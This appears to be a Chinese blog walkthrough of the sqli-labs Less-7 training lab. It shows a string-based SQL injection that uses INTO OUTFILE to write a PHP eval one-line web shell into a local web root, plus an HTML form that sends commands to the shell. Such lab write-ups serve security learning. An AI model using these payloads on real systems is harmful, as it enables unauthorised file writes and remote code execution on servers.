sqli-labs less7 GET - Dump into outfile - String (导出文件GET字符型注入)

Posted superkrissv

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqli-labs less7 GET - Dump into outfile - String (导出文件GET字符型注入)相关的知识,希望对你有一定的参考价值。

使用此漏洞需要知道WEB程序的根路径并且mysql的secure-file-priv配置应为可写入该路径

技术分享图片

添加单引号,发现错误被屏蔽

技术分享图片

对应的SQL语句应为

select ... from ... where xx=((1)) ...

技术分享图片

字段还是3个

技术分享图片

在数据库中执行测试,看是否能写入成功

SELECT * FROM users WHERE id=((1)) UNION SELECT 1,2,111 into outfile D:\\phpStudy\\PHPTutorial\\WWW\\1.php#)) LIMIT 0,1

技术分享图片

修改my.ini

secure-file-priv=""

重启MYSQL,测试写入,注意/需要转义

select * from users WHERE id=((a)) union select 1,2,11111 into outfile D://phpStudy//PHPTutorial//WWW//1.php#)) LIMIT 0,1

技术分享图片

技术分享图片

 

 技术分享图片

构造GET请求,写入一句话木马

<?php @eval($_POST["c"]);?>  
http://localhost/sqli/Less-7/?id=a‘)) union select 1,2,‘<?php @eval($_POST["c"]);?>‘ into outfile ‘D://phpStudy//PHPTutorial//WWW//mm.php‘%23

技术分享图片

【注】这个并不是MYSQL执行出错,查看源码可知

 row为空就会显示该错误

 技术分享图片

访问,文件成功写入

技术分享图片

新建一个本地html

<html>  
    <body>  
        <form action="http://localhost/mm.php" method="post">  
            <input type="text" name="c" value="phpinfo();">  
            <input type="submit" value="submit">  
        </form>  
    </body>  
</html>

技术分享图片

技术分享图片

 

以上是关于sqli-labs less7 GET - Dump into outfile - String (导出文件GET字符型注入)的主要内容,如果未能解决你的问题,请参考以下文章

实训第三天记录-sqli-lab7-11+upload-lab1-3

sqli-labs less33 GET- Bypass AddSlashes (GET型绕过addslashes() 函数的宽字节注入)

sqli-labs less2 GET - Error based - Intiger based (基于错误的GET整型注入)

sqli-labs less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

sqli-labs less41 GET -Blind based -Intiger -Stacked(GET型基于盲注的堆叠查询整型注入)

sqli-labs less40 GET -Blind based -String -Stacked(GET型基于盲注的堆叠查询字符型注入)